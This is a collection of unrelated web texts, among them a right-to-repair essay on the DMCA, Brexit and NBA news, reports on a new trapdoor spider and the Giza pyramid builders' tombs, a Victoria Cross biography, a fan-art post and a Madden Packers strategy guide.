-This article is part of Copyright Week, a series of actions and discussions supporting key principles that should guide copyright policy. If you too stand behind these principles, please join us by supporting them, sharing them, and telling lawmakers you want to see copyright law reflect them.  Over 3 million men and women work in America’s repair and maintenance industry. When your car breaks down, they get you on the road again. When your washing machine succumbs to entropy, they perform a sudsy resurrection. When your phone screen goes black, they reconnect you to the world. Three million people stand between you and chaos.  Maybe I don’t have a lot of faith in politics, but I think those 3 million people have more tangible impact on our lives than the squabbling politicians in Washington. And yet, a copyright law written by Washington insiders nearly two decades ago is threatening the livelihoods of those 3 million people.  It’s not supposed to work like that. Intellectual property laws are supposed to protect jobs. The Digital Millennium Copyright Act (DMCA), though, is different—and it’s poised to take a massive toll on skilled repair jobs in America.  The DMCA governs the complicated intersection between copyright and technology. Back in the 90s, computers made it relatively easy for people to copy movies and music. So the recording industry teamed up with Washington to crack down on piracy. Among other things, the resulting law made it illegal to break digital locks—like passwords or encryptions—over copyrighted work, no matter the reason.  In the past 20 years, technology has changed drastically. The DMCA has not. That’s a problem, because copyright isn’t just movies and music anymore. It’s everything. Because everything is powered by computers … which is powered by programming … which is technically copyrighted. That means your tractor, your coffeemaker, and your self-cleaning cat litter pan have the same copyright protection as your DVD of Disney’s Sleeping Beauty.  We can’t treat hardware the same way we treat a hit single. Singles break the charts; hardware just breaks. If companies put digital locks over our smart gadgets, then—under the DMCA—they’ll be the only ones who can fix that stuff. Worse, they can sue anyone who tries to break up their repair monopoly.  Over the years, lots of companies have abused the DMCA to squeeze out the competition. In the early aughts, cellphone companies wielded the DMCA to shut down programmers who developed unlocking software that moved cellphones to different carriers. Now, the same tactics are being used to shut down non-OEM repair options.  Local mechanics rely on diagnostic tools from companies like Snap-on and Autel to repair modern vehicles. But in 2014, Ford sued Autel for making a tool that diagnoses car trouble and tells you what part fixes it. Autel decrypted a list of Ford car parts, which wound up in their diagnostic tool. Ford claimed that the parts list was protected under copyright (even though data isn’t creative work)—and cracking the encryption violated the DMCA. The case is still making its way through the courts. But this much is clear: Ford didn’t like Autel’s competing tool, and they don’t mind wielding the DMCA to shut the company down.  “In some sense, this is an old fight. For decades, automakers have tried to steer drivers toward dealership-based repairs, and for decades some drivers have resisted that pull, preferring to work on their rides at home and in third-party shops,” says The Verge’s Russell Brandom. “But the computerization of the modern automobile has upset that balance, thanks to the unique legal status of software.”  Under the DMCA, the legal status of software makes tinkering a suable offense. Autel is fighting the suit—but most others couldn’t, especially against juggernauts like Ford. The safest option for third-party repair companies and developers is just not to innovate in directions that could put them at odds with the DMCA. The legal risk is too great, which leaves dealer repair shops with the only keys to the repair kingdom.  Other shops go out of business; people lose their jobs; repair prices go up.  As computers continue to permeate everyday things, the DMCA could impact repair jobs across all industries—not just cars. Imagine a future where your smart fridge turns into a refrigerated brick, because Samsung stops updating it and no one else can repair it. Or Apple says only they should be able to fix your iPhone. Or John Deere says you can’t repair your own tractor.  If that sounds far-fetched, it’s not. It’s already happening. In 2015, I teamed up with the Electronic Frontier Foundation and the Intellectual Property Law Clinic at USC to request a DMCA exemption for farmers who wanted the freedom to repair their own tractors—even if it meant fixing and modifying the software without the manufacturer’s permission. John Deere opposed the request, saying farmers didn’t own the software in their tractors. Deere argued that farmers only have “an implied license for the life of the vehicle to operate the vehicle.”  So much for ownership.  Thankfully, the US Copyright Office ruled with farmers and against Deere. But it’s not enough. John Deere just turned around and wrote an End User Licensing Agreement that chips away at an owner’s right to repair. Now it’s that much harder for anyone one but Deere to repair a tractor or develop diagnostic tools for independent repair shops.  Folks in Washington have been arguing a lot about jobs lately. Jobs that are leaving the US; jobs that can be saved. Well, I’m concerned about those 3 million repair jobs. Companies like Ford and John Deere are setting a dangerous precedent. Their aggressive copyright claims come at the expense of something far more dear: people’s livelihoods.  Thankfully, voters are stepping up to protect American jobs. Just last week, at the behest of constituents, three states—Nebraska, Minnesota, and New York—introduced Right to Repair legislation (more states will follow). These ‘Fair Repair’ laws would require manufacturers to provide service information and sell repair parts to owners and independent repair shops. And digital watchdogs, like the EFF and Repair.org, continue to advocate for the Unlocking Technology Act—which would ensure that repair people aren’t marked as criminals under the DMCA.  It doesn’t matter how smart your next gadget is—it’s still gonna break. The future will need fixing. But we’ll have to fix copyright law first.
-Theresa May is edging towards securing a new withdrawal settlement with the EU amid intense negotiations with both Brussels and her Northern Irish political partners.  While a deal on the first ‘withdrawal phase’ of Brexit negotiations was not confirmed on Thursday night, The Independent understands the UK is on the brink of securing broad approval for a final text.  In a sign of progress, officials scheduled European Council President Donald Tusk to make a statement on Friday morning, while Brussels confirmed Ms May had spoken to the European Commission President Jean Claude Juncker.  We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras.  Downing Street are unwilling to speak publicly about any progress until a deal is completely locked in, after being burnt by the Northern Irish DUP’s public torpedoing of her previous effort to secure a settlement. One UK Government source said: “We're not there yet.”  But sources close to Mr Tusk indicated he had agreed to a final text, something which prompted him to set up his statement on Friday.  Meanwhile, members of the European Parliament are also due to meet on Friday to discuss the matter.  Mr Juncker’s spokesman Margaritis Schinas said the Commission President had a telephone conversation with Ms May on Thursday evening and added that an early morning meeting was “possible”.  Shape Created with Sketch. Brexit: the deciders Show all 8 left Created with Sketch. right Created with Sketch. Shape Created with Sketch. Brexit: the deciders 1/8 European Union's chief Brexit negotiator, Michel Barnier Getty 2/8 French President Emmanuel Macron Getty 3/8 German Chancellor Angela Merkel Reuters 4/8 Commission President Jean-Claude Juncker EPA 5/8 The European Parliament's chief Brexit negotiator Guy Verhofstadt Getty 6/8 Britain's Prime Minister Theresa May Getty Images 7/8 Britain's Chancellor of the Exchequer, Philip Hammond PA 8/8 After the first and second appointed Brexit secretaries resigned (David Davis and Dominic Raab respectively), Stephen Barclay is currently heading up the position PA 1/8 European Union's chief Brexit negotiator, Michel Barnier Getty 2/8 French President Emmanuel Macron Getty 3/8 German Chancellor Angela Merkel Reuters 4/8 Commission President Jean-Claude Juncker EPA 5/8 The European Parliament's chief Brexit negotiator Guy Verhofstadt Getty 6/8 Britain's Prime Minister Theresa May Getty Images 7/8 Britain's Chancellor of the Exchequer, Philip Hammond PA 8/8 After the first and second appointed Brexit secretaries resigned (David Davis and Dominic Raab respectively), Stephen Barclay is currently heading up the position PA  He tweeted: “We are making progress but not yet fully there. Talks are continuing throughout the night.”  The Independent understands that Ms May’s Europe advisor Olly Robbins has been in constant contact with Sabine Weyand, who works for the EU’s chief negotiator Michel Barnier, to agree the final wording of the settlement – specifically around the vexed issue of what will happen to the Irish border.  Ms May had been hoping to make a new offer by Friday on the border to satisfy both Ireland and Northern Ireland's Democratic Unionist Party, which props up her Government.  A mooted agreement between the UK and EU on divorce issues including the Irish border, which would allow talks to progress to the future trade relationship, was blocked on Monday by the DUP.  The party objected to plans for “regulatory alignment” between Northern Ireland and the Republic to maintain a soft border between the two, arguing it would amount to the drawing of a new frontier with the UK mainland in the Irish Sea.  But as efforts to cement a withdrawal deal continued on Thursday, a senior Irish official said: “It is moving quite quickly at the moment. Negotiations are continuing.  “I think we are going to work over the next couple of hours with the UK Government to close this off. I say hours because I think we are very close.”  The DUP’s chief whip Sir Jeffrey Donaldson said: “Discussions are ongoing.”  Pressure is mounting on Ms May to see that leaders of the EU 27 member states declare at a European Council summit on December 14 that “sufficient progress” has been made on withdrawal issues to pave the way for trade talks to begin.  If she cannot show that progress on trade is being made by Christmas, business chiefs are warning that companies will activate contingency plans that will cost Britain jobs.  Ms May’s own position will also be put under greater pressure, with rebels in her own party having stated that progress in talks is a key test for her continued leadership.  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now.
-A team of researchers from Auburn University has discovered a new trapdoor spider species from a well-developed housing subdivision in the heart of the city of Auburn, Alabama.  The new species, described in the paper in the open access journal ZooKeys, was named the Auburn Tiger Trapdoor spider, Myrmekiaphila tigris, in honor of Auburn University’s costumed Tiger mascot, Aubie.  M. tigris belongs to a genus that contains 11 other species of trapdoor spider found throughout the eastern United States.  Trapdoor spiders – related to tarantulas, funnel web spiders, and their kin – construct subterranean burrows that they cover with a hinged door made of a mixture of silk and soil. Female spiders spend nearly their entire lives in a single silk-lined burrow from which they forage as sit-and-wait predators. Prey are captured, usually at night, when an insect or other animal causes a vibration, provoking the spider to leap from the burrow entrance, bite and envenomate the unsuspecting victim, and then return to the bottom of the burrow to feast on its prize.  Due to superficial similarities, M. tigris was previously believed to be a different species, M. foliata, according to a taxonomic study of the team that was published a few years ago.  However, closer examination revealed considerable differences in appearance, particularly in their genitalia, that were supported by additional studies comparing the DNA of M. tigris with that of related species.  “Despite the physical uniqueness of these specimens, the use of DNA as an alternate, less subjective line of evidence for recognizing the species was warranted, given our excitement with discovering a new species literally in our own backyards,” said lead author Prof. Jason Bond, director of the Auburn University Museum of Natural History.  Members of the species are rarely encountered individually. However, once males reach sexual maturity at around 5 or 6 years old, they emerge from their burrows to find a female with which to mate; shortly thereafter they die. Wandering males can be found in relatively large numbers on neighborhood sidewalks, in swimming pools and even in homeowners’ garages for a brief time during the months of November and December.  Females, on the other hand, are much more secretive, living relatively long, 15 to 20-year lives in their below-ground burrows. They often have more intricate burrows that include side chambers with additional underground trapdoors. Burrows can be found along the banks in relatively young, secondary growth forests in neighborhood natural areas.  “The discovery of a new species in a well-developed area like this further demonstrates the amount of biodiversity on our planet that remains unknown; we know so little about our home planet and the other organisms that inhabit it with us,” Prof. Bond concluded.
-Horace Augustus Curtis VC (7 March 1891 – 1 July 1968) was an English recipient of the Victoria Cross, the highest and most prestigious award for gallantry in the face of the enemy that can be awarded to British and Commonwealth forces.  Enlistment and training [ edit ]  Curtis was born on 7 March 1891 in St Anthony-in-Roseland, Cornwall. He enlisted after war broke out in August 1914, and passed fit for duty on 12 September. He was attested into The Duke of Cornwall's Light Infantry (DCLI) at Bodmin on 14 September as No.15833 Private Curtis. However, four days later he was transferred to the 7th Battalion of the Royal Dublin Fusiliers.[1]  Recruiting in Ireland in August 1914 was not as satisfactory as in Britain, and in consequence Lord Kitchener decided early in September to transfer a number of recruits for whom no room could be found in English regiments to fill up the ranks of the 10th Division. Despite these transferees, the division and its battalions consisted of Irishmen (apart from the 10th Battalion Hampshire Regiment) The 7th Battalion Royal Dublin Fusiliers had just started forming up in August at Naas in Ireland, and presumably Horace proceeded there to commence his training at the Curragh in County Kildare. The 30th Brigade moved to Dublin in February 1915 and then embarked for England in May 1915 and onto the Basingstoke area, where intensive training of the 10th Division took place for the next 3 months. During that time, the division was inspected by King George V on 28 May at Hackwood Park and by Field Marshal, Lord Kitchener on 1 June.  As a result of these inspections the following divisional orders were issued:  "Lieutenant-General Sir B Mahon received His Majesty's command to publish a divisional order to say how pleased His Majesty was to have had an opportunity of seeing the 10th Irish Division and how impressed he was with the appearance and physical fitness of the troops. His Majesty, the King recognises that it is due to the keenness and co-operation of all ranks that the 10th Division has reached such a high standard of efficiency. The General Officer Commanding 10th Irish Division has much pleasure in informing the troops that Field-Marshal Earl Kitchener of Khartoum, the Secretary of State for War, expressed himself as highly satisfied with all he saw of the 10th Division at the inspection today." Order no. 34 1st June 1915.  Gallipoli [ edit ]  The division embarked from Devonport on 11 July 1915, the 7th battalion R. D Fus aboard H. M. T Alaunia and via Malta and Alexandria, the 7th landed at the island of Mytilene off the Turkish coast on 25 July 1915. Horace's service with the Mediterranean Expeditionary Force (M. E. F) dated from 10 July 1915. The battalion left Mytilene and landed at Suvla Bay, Gallipoli peninsula, Turkey on 7 August 1915.  Other parts of the division had been engaged with the enemy prior to the 7th Battalion arriving and had suffered severe losses, which was also to befall the 7th Battalion. In his book "The Tenth Division in Gallipoli" Major Bryan Cooper, who served with the division, estimates that by the end of the Gallipoli campaign, the Tenth Division had lost 75% of its original strength killed or wounded. In his book "Ireland's Forgotten 10th" Capt. Jeremy Stanley states 3,000 men were killed or died from wounds, 25% of the division's strength.  Greece [ edit ]  After Gallipoli, the 10th Division sailed for the base island of Lemnos (Mudros Harbour) on 30 September and in early October left for the port of Salonica in Greece. During a long stay in the Macedonian theatre of war and bitter fighting, Horace earned promotion during 1916 from unpaid lance corporal on 7 February to full sergeant on 17 November 1916. He was also mentioned in Dispatches in the London Gazette on 21 July 1917.  Palestine [ edit ]  After almost 2 years here, the division sailed for Alexandria in September 1917 for Egypt and the allied offensive against the Turks in Palestine. A further 8 months later in April 1918, the 6th Battalion of the Royal Munster Fusiliers and the 7th Battalion Royal Dublin Fusiliers had left the 30th Brigade, 10th Division and returned to Egypt in order to join units in France fighting the German advance.  France [ edit ]  On 23 May 1918, the 7th Battalion left Alexandria and landed at Marsailles, France on 31 May. On 6 June the battalion was reduced to a cadre. Surplus personnel, of whom Horace was one, were absorbed by the 2nd Battalion Royal Dublin Fusiliers.  This was to be the fourth theatre of war that Curtis fought in: he had served with the M. E. F and the Eygyptian Expeditionary Force. He was now a member of the British Expeditionary Force (B. E. F) France and Belgium.  On 20 June 1918, Curtis returned to England where he went to Bermondsley Military Hospital in London for treatment for malaria, broken by a furlough, home leave to Fiddlers Green between 24 July until 3 August, the first time in four years.  He was finally cleared to return to his unit in France on 19 August and was back in France by 1 September and to the Front by 21 September.  VC action [ edit ]  On 18 October 1918, No. 14107 Sergeant Horace A Curtis, 2nd Battalion Royal Dublin Fusiliers fought in action near Le Cateau that earned him the Victoria Cross. The following is the official citation, which appeared in the London Gazette on 6 January 1919.  No.14107 Sjt. Horace Augustus Curtis.2nd Battalion, R. Dub. Fus (Newlyn East, Cornwall) For most conspicuous bravery and devotion to duty East of Le Cateau on the morning of 18th October 1918, when in attack his platoon came unexpectedly under intense machine-gun fire. Realising that the attack would fail unless the enemy guns were silenced, Sjt Curtis, without hesitation, rushed forward through our own barrage and the enemy fire and killed and wounded the teams of two of the guns, whereupon the remaining four guns surrendered. Then turning his attention to a train-load of reinforcements, he succeeded in capturing over 100 enemy before his comrades joined him. His valour and disregard of danger inspired all.[2]  His VC was presented to him by King George V at Buckingham Palace on 8 March 1919.  Post war [ edit ]  On 31 January 1919 he was back home and starting 28 days demobilisation leave and transferred to Class "Z" Army reserve on 23 March 1919. Curtis was finally discharged on 31 March 1920. He joined the 5th (Territorial) Battalion DCLI on a 3-year engagement at St Columb on 5 May 1920. Private 5431368, he was rapidly promoted to Sergeant and by 27 August 1920 was WO2 (CSM). On 20 December 1921, Horace transferred to the 4/5th DCLI and on 19 May 1923 his service was terminated at the end of his engagement.  Curtis died on 1 July 1968.  The Medal [ edit ]  His VC is on display in the Lord Ashcroft Collection[3] at the Imperial War Museum, London.
-Does the Dashter even need an introduction? She looks great stylized as a cuddly cartoon marshmallow elf, but I thought she also deserved to have her real-life awesomeness portrayed in all of its glory, or at least a certain minor percentage of its glory. (can you guess what percentage?? Aaaawwwww yeeeaaaaaah!)Hey, everypony, I want you to hear something... I love music and art together, and think that they both work together synergetically to give rise to inspiration and creative energy. I listened to alot of different music while painting this, and was very inspired by it, and I think the music worked its way into the painting, so I want you to listen to some of the music that inspired me the most while painting this, see how it goes with the artwork, and I hope it inspires creativity and happiness in your heart and mind as well.Try playing it in a separate tab, I mean, um, if you want to... Higher and Higher - The Moody BluesHurdy Gurdy Glissando - Steve HillageTalking to the Sun - Steve HillageMercury - The Winged Messenger - Isao Tomita (originally composed by Gustav Holst)Hehe... I had to mention this too... This image also seems to go perfectly along with the MictheMicrophoneZero dramatic reading of the MLP fanfiction "Quest for the Friendship Stones" by Poultron1Up Next: Fluttershy and Derpy.For all you fellow bronies out there, keep on hoofin' it. You are awesome. A new age is dawning, and we are trampling towards its light.Brohoof!
-The never-ending soap opera surrounding Bulls star Derrick Rose continued on Thursday, and it has nothing to do with another unfortunate injury.  Joakim Noah emotionally defended his teammate after Rose received another round of criticism for saying part of the reason he sits out games is because he’s thinking of his life after basketball.  “I just, I don’t want to see him down. I know sometimes it’s frustrating, you got injuries, you got tweaks,” Noah told reporters after the Bulls beat the Raptors on Thursday night, a game which Rose left with a “minor” hamstring injury.  “Every time something happens to him, people act like it’s the end of the world. And that’s f—ing so lame to me. Relax. Like, OK, he’s coming back from two crazy surgeries. Obviously we’re being conservative with him, and when things aren’t going right, he’s got to listen to his body more than anybody. So everybody needs to chill the f— out. I mean, I’m sorry for cursing, but I’m really passionate. I don’t like to see him down. And he doesn’t say that he’s down, but I don’t like it when, like, people portray him and judge him. ‘Cause it’s not fair to him. It’s not.”  Charles Barkley disagrees.  The TNT analyst ripped Rose’s comments as “stupid” during “Inside the NBA” on Thursday night.  “That was stupid. Derrick Rose is a great player, he’s a great kid. Love his mom. That was stupid. You know, Ernie [Johnson], we’re so blessed. I limp around, but I go home to a big ol’ mansion. There’s people who work harder than Derrick Rose who go home to a shack,” Barkley said.  “There are consequences to what we do for a living. We got the best life in the world. I’m a poor black kid from Leeds, Alabama, who grew up in the projects and listen, I don’t mind limping around because when I go home, there’s a big ol’ house. I got good sheets — I don’t know the thread count, but they’re good. I got a big ol’ car. I never have to worry about my bills. There are pros and cons to what we do for a living. Derrick Rose is making $20 million a year. He got a couple bad knees. That’s disrespectful to maids, people who are in the Army who go out and kill people and get killed. They got no arms and no legs. As much as I like Derrick Rose, that is just flat-out stupid.”  Rose has missed most of the past two seasons first with a torn ACL then a torn meniscus. He was criticized by fans and media for not returning for the 2013 playoffs after suffering the ACL injury in the first game of the 2012 postseason.  Rose has sat out four of the Bulls’ nine game this season while easing into the grind of an NBA season. The Bulls are 3-1 in the games Rose has missed and 4-1 when he’s played.  “I don’t want to be in my meetings all sore or be at my son’s graduation all sore just because of something I did in the past. Just learning and being smart,’’ Rose said earlier this week.  The 26-year-old said he had cramping in his hamstring and does not expect it to be an issue after the victory Thursday. He did not back down from his comments.  “It’s like on to the next,’’ Rose said, according to the Chicago Sun-Times. “Just try to keep it moving. It’s a new day. Just trying to think about the team.’’  Rose added that he could “care less” about his detractors.
-- video encodings still in process -  CAIRO — Egypt displayed Monday newly discovered tombs more than 4,000 years old and said they belonged to people who worked on the Great Pyramids of Giza, putting the discovery forth as more evidence that slaves did not build the ancient monuments.The series of modest 9-foot-deep shafts held a dozen skeletons of pyramid builders, perfectly preserved by dry desert sand along with jars that once contained beer and bread meant for the workers' afterlife.The mud-brick tombs were uncovered last week in the back yard of the Giza pyramids, stretching beyond a burial site first discovered in the 1990s and dating to the 4th Dynasty (2575 B.C. to 2467 B.C.), when the great pyramids were built on the fringes of present-day Cairo.The ancient Greek historian Herodotus once described the pyramid builders as slaves, creating what Egyptologists say is a myth later propagated by Hollywood films.Graves of the pyramid builders were first discovered in the area in 1990 when a tourist on horseback stumbled over a wall that later proved to be a tomb.Egypt's archaeology chief Zahi Hawass said that discovery and the latest finds last week show that the workers were paid laborers, rather than the slaves of popular imagination.Hawass said the find sheds more light on the lifestyle and origins of the pyramid builders. Most important, he said the workers were not recruited from slaves commonly found across Egypt during pharaonic times.Hawass said the builders came from poor Egyptian families from the north and the south, and were respected for their work — so much so that those who died during construction were bestowed the honor of being buried in the tombs near the sacred pyramids of their pharaohs.Their proximity to the pyramids and the manner of burial in preparation for the afterlife backs this theory, Hawass said."No way would they have been buried so honorably if they were slaves," he said.The tombs contained no gold or valuables, which safeguarded them from tomb-raiders throughout antiquity. The skeletons were found buried in a fetal position — the head pointing to the West and the feet to the East according to ancient Egyptian beliefs, surrounded by the jars once filled with supplies for afterlife.The men who built the last remaining wonder of the ancient world ate meat regularly and worked in three-month shifts, said Hawass.It took 10,000 workers more than 30 years to build a single pyramid, Hawass said — a tenth of the workforce of 100,000 that Herodotus wrote of after visiting Egypt around 450 B.C.Hawass said evidence from the site indicates that the approximately 10,000 laborers working on the pyramids ate 21 cattle and 23 sheep sent to them daily from farms.Though they were not slaves, the pyramid builders led a life of hard labor, said Adel Okasha, supervisor of the excavation. Their skeletons have signs of arthritis, and their lower vertebrae point to a life passed in difficulty, he said."Their bones tell us the story of how hard they worked," Okasha said.
-When I play Madden, I play exclusively as the Green Bay Packers. At my best, I had a ranking of #532, not bad considering there over 100,000 ranked players. That’s not "best in the world," tournaments-in-LA kind of good, but it’s good enough where I’d feel comfortable wagering a significant amount of money against the average player.  More than comfortable. Relaxed.  Here's how I make winning look easy:  (Disclaimer: nothing can substitute for stick skills, hand-eye coordination, football acuity, basic mental competency, etc).  The Basics  I leave my playbooks alone. Everything you need is right there in the McCarthy/Capers menu of plays. As for uniform selection, I personally like the white cleats with yellow accents. Kind of completes the uniform for me. These are the important things.  Optimize your Lineup  Might as well start with the best team right? For sure, some switches you will want to make are:  > Start BJ Raji – he will be defaulted on IR  > Get your fastest TEs in the game (sorry Richard Rodgers, next year big fella)  > Roll with Jeff Janis at WR5 (Jared Abbraderis is rated higher, but Janis makes all the tough catches and is faster and bigger up the middle seam)  > Change KOS to Mason Crosby – for some reason, the game has the weaker-legged Tim Masthay set to kickoff  > Make Micah Hyde your CB5 and start Ha Ha Clinton-Dix at Safety – you’ll probably find yourself in Quarter often, and you want your best players out there so…not Jarrett Bush  > KRs – Dealers choice. You can definitely get return TDs using Randall Cobb, but I find the injury risk isn’t worth it, and can roll with DuJuan Harris/Micah Hyde (Sam Shields doesn’t cut quick enough for my liking, acceleration rating be damned).  Defense  > 1st / 2nd DOWN  You win on D by forcing the opposing player into third downs, and then forcing him into a bad throw, or sack. I like to play conservative on early downs/against non-spread offenses. A great play is Cover-2 Sink in the nickel package. Take one of the inside linebackers and play the short pass/run inside. Or a 3-4 2 Deep Man coverage, and track the running back with Hawk, while shading towards the TE. If the team is passing all the time, you can drop Matthews or Peppers into manual coverage from the Cover-2 Sink, or use my favorite 2 plays in the game (see 3rd and long).  > 3rd AND SHORT/2-POINT CONVERSIONS  I love the nickel Psycho defense here. Especially Cover-2. If your opponent likes to run, audible Clinton-Dix into a blitz and take control of the other safety. Hover close to the line of scrimmage, scramble the look a couple times by shifting the secondary/LB units, and rove across the line of scrimmage towards his favorite target once he hikes it while keeping an eye on any receivers going over the top. It’s a guessing game, and it’s a bit of a mess, but its 3rd and short, the odds are not in your favor if you play vanilla.  > 3rd AND LONG/PASS-HEAVY SITUATIONS  Quarter package, basic Cover-2 and Cover-3. Mix them up. Morgan Burnett plays a QB-spy in both these plays, and I take that as carte blanche to do whatever I want with him to blow up the play.  In the Cover-2, you can show blitz off the tackle pre-snap, then float back on the inside seam, past AJ Hawk’s shallow zone into the deep secondary, where you can lure the QB into a bad throw. Or, you can sit Burnett way behind Hawk in the Cover-3, and then swoop in for the interception underneath Hawk’s very deep zone coverage, which will cause the opponent to look shallow. Finally, you can hover inside and navigate through the O-Line for surprisingly effective run-stops and QB hurries. Coverage sacks are here to be had.  (One last thing about this Quarter-base defense: it works great against option QBs if you use Burnett to fill running lanes. Though you don’t quite see as many players choosing Washington as they used to…wonder what’s changed).  > 3rd AND VERY LONG NON-BLITZ, BLITZ  Take that nickel Cover-2 Sink, and swing either Matthews or Peppers over to the other side and shoot the gap right next to the other DE. This is good for unexpected pressure without bringing 5 guys. In fact, if you get through once, just that look will pressure the opposing QB, and then you can peel away at the last second to chase the tight end, QB spy – whatever you haven’t done in a while, basically.  > BLITZING AND BALANCE  Once or twice early on in the game, maybe a couple times later on to spark a comeback, but otherwise playing good coverage in defenses you know is the better bet. At the end of the day, assume the passing is going up the middle and try to take that away. Same with the run. If they beat you outside, so be it, but most people lack the ability or vision to work the outside for an entire game. And if they try, go over there with Clay Matthews and do something about it!  Offense  > 1st AND 10  Run. Body punches. A famous football mind (Parcells?) once said, every running play is a positive play. Take runs from all over the playbook including shotgun/FB dives/motion/goal-line plays/tosses to the outside. Eddie Lacy falls forward enough to make this a useful tactic. Now, you should also be peppering in PA, screens and quick passing at about a 1-to-4 ratio within these runs. Here are some of my favorite "toss-in" plays to mix it up on 1st and 10:  PA-reverse passes out of the Strong and Singleback bunch formations. These two slow-developing plays really stretch the defense, and it’s so nice to get Rodgers out there throwing on the run, which is an absolute back-breaker in this game (ignore rollouts at your own peril). Lacy out of the flat, and underneath the coverage, is just what the doctor ordered here. Even if it only goes for 2-3 yards, it loosens up the defense, who SHOULD and WILL be thinking run by that point.  WR Screen out of any shotgun set. This play is a revelation once you get the swing of it. It works especially well throwing it to the outside shoulder of Nelson or Cobb, and letting him swoop around the blockers towards the sideline. The game almost seems to encourage this action by giving the WR a speed boost while he rounds the corner. It also is nifty when the D is closed in tight for a run, like on third and short (although I wouldn’t mess with it there) or red-zone situations (try it out from the difficult 3-6 yard line zone).  > 2nd / 3rd AND LONG  Oops. Something didn’t go so well. But now is exactly not the time to panic because this is where the talent shines on this team. If it’s still 8 yards or further to the yellow line, I love to break out the 5WR Empty Set. You did pick the Packers, right? This is their bazooka option, and I excitedly break it out on these long pass situations on 2nd and 3rd down. Here’s a tidy little progression you can go through:  1. Pick the "Stick N’ Nod."  2. If the D comes out and the two OUTSIDE CBs are playing off (leaving significant distance between themselves and Nelson and Cobb) audible into "Curl Flats." This is now a "gimme." You will see how easy it is to hit the curling WR between the two defensive backs on the outside, or if necessary, check down to the inside WR in the flat. You should go back to the well on this play for as much as you can get.  3. Things get more interesting if the outside CBs are up close to Nelson and Cobb. The "Stick N’ Nod" you picked can certainly get Janis open over the deep middle of the field, but if you don’t want to risk a sack, keep your eyes more on the underneath receiver, who is running the same route concept just in a tighter amount of space, typically against a slower defender.  4. If you don’t want to mess with all that, you can audible straight to "4 Verticals." The key here is that sly route across the middle by Adams from the inside-left slot. He hitches in the middle of a slant, usually shedding his defender along the way, while the three receivers to the right of Rodgers are all running fly routes. Your first look here is at Jeff Janis at the inside seam fly, who will be veering from right to left as he runs downfield. If this looks at all covered or "busy", your eyes drop down to Adams, and you hit him for whatever the defense gives you. There’s also the "big boy" way to play this, and that’s to focus strictly on the three streaking WRs on the right side—Janis, Boykin and Cobb—and pick on the safety responsible for that side of the field. This is risky but you can get some really nice back-shoulder throws with Boykin or even Cobb down the sideline. Almost as good as the real thing!  > 2nd / 3rd AND SHORT  I do like running it here from time to time, and think it’s necessary. If the situations aren’t dire, and the opponent isn’t overly bracing against the run, break out Shotgun "Doubles On" or "Y-Trips Wk" (personally my favorite formation in the game). The "Inside Zone" plays out of these two formations are really nice plays, providing a solid wall for Lacy to dart through for a tough three yards.  But if things are dire, here’s where the money is at: Singleback Bunch. You’re going to toggle between two plays, the "HB Dive" and "Spacing." I can’t tell you whether to run it or throw it, but your opponent will soon learn the meaning of helplessness when you learn how to complete the "Spacing" pass. Just read it from inside to outside as the three receivers to your right sprint out to their left, middle, and right. You can pick the pocket of the defense, either by taking advantage of an uncovered Quarless in the flat, patiently waiting for Nelson to box-out his spot in the middle, or hitting Adams in stride as he flashes into the middle of the field. On the other hand, you can just pound it with Lacy up the middle. Both of these plays are automatically included as audibles. See why that’s hard to defend?  Oh, and: Aaron Rodgers speed is rated in the the 80's in this game. Use it. He can get hurt rather easily but you should be able to avoid that by ALWAYS sliding (tapping once on the slide button). If you're not nailing two or three killer runs during the game like Aaron does in real life, you're leaving a lot on the table.  Other tricks in the bag  > STRONG FORMATION  Out of its base audible package, you have access to "FL Drive" (Jordy up the seam or Cobb underneath), "Y Trail" (My personal favorite play in the game, hitting Quarless after he doubles back on his route, or pushing it upfield with the quick-hitter to Cobb over the middle), and the deadly "PA Deep Cross" (shudders). Nelson can get so open on this play if the D isn’t perfect, and you can make Aaron Rodgers look really good by "throwing him open" as Nelson breaks away from his man twenty yards down the field. This play is also surprisingly useful in the redzone.  > SINGLEBACK ACE TWINS  There are two nice options here for play action daggers. Look for Nelson to get open on the "PA Boot" by curling away from the action, or slice it upfield to Nelson on the "PA FL Stretch" with the nice safety options with the TE’s underneath.  > KUUUUUHHNNN  Please understand: John Kuhn is deadly catching the ball out of the backfield. He will be wide open in the flat all day, and him running up the sideline is painful for the opposing defense.  Special Teams  Something important to note: with no wind, Crosby can hit safely from 51-52 yards. Any longer and you need to be perfect. Push the field goal aimer to as low as possible on these long kicks. With significant wind into your face, I’d rather go for it on 4th than try anything longer than 45 yards. I don’t really punt when the game is still in hand; if I’m winning, punting is acceptable. Fake FGs work 99% if the opposing team actually comes out in FG block.  Clock Management  At a certain level, people stop blowing each other out. The games come down to who has the ball last. You need to "look down the road" when playing against savvy players. This doesn't need to affect your rhythm. Throwing the ball with the Packers can chew just as much time as running; in many of my games, Rodgers finishes at a 80-90% completion rating over ~30 throws for ~270 yards. If things slip away from you, there may come a time in the game when your best bet is to Onside Kick every time and blitz the other team into short, FG-producing drives. If you can trade TDs for FGs quick enough, this can be an effective strategy in low-odds situations. Otherwise, the better I got the more I relied on defense, much like the real-life Packers.  Last thought  When you’re up, play like you’re down. When you’re down, play like you’re up. That’s another old football-ism I play by. Up by 10? Push the ball no-huddle with a 5WR offense. Down by 10 early on? That’s when your game-plan is actually most important, and it’s when most people I play abandon it (this is 99% the difference of the top players and good players). It comes down to this, whether you’re playing with the Packers or not: you have to believe that your opponent is eventually going to make a mistake, yet you have to play like you can’t afford one. Oh, and if you're home at Lambeau, turn the snow on every now and then. Your guys will be slipping all over the place, and FGs will be almost impossible. Just like video game football was meant to be played.  +1 Bonus play  Here’s a great little play when you just really need to complete a short pass, whether to get your confidence back, keep the clock running or convert a short third down. "Y Shallow Cross" in Shotgun Y-Trips Wk. After Nelson comes in motion, you’re looking at Quarless shallow across the middle, or you wait patiently for Lacy to release through the middle of the play and curl out to the right for an easy completion. Problem solved.
